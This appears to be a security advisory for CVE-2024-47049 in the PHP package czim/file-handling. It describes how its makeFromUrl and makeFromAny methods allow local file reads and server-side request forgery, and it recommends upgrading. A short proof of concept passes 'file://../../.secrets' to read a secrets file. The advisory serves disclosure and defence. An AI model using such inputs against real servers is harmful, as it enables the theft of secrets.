Improper Input Validation Affecting czim/file-handling package, versions <1.5.0>=2.0.0, <2.3.0
Threat Intelligence
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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- published18 Sept 2024
- disclosed17 Sept 2024
- creditUnknown
Introduced: 17 Sep 2024
CVE-2024-47049 (opens in a new tab)How to fix?
Upgrade czim/file-handling to version 1.5.0, 2.3.0 or higher.
Overview
Affected versions of this package are vulnerable to Improper Input Validation via the makeFromUrl and makeFromAny methods. An attacker can read local files or perform server-side request forgery by supplying malicious URLs.
PoC
/** @var \Czim\FileHandling\Storage\File\StorableFileFactory $factory */
// Loads content from the given URI:
$file = $factory->makeFromUrl('file://../../.secrets');
// Also works:
$file = $factory->makeFromAny('file://../../.secrets');
/** @var \Czim\FileHandling\Storage\File\StorableFileFactory $factory */
// Loads content from the given URI:
$file = $factory->makeFromUrl('https://github.com/czim/file-handling/blob/master/README.md');
// Also works:
$file = $factory->makeFromAny('https://github.com/czim/file-handling/blob/master/README.md');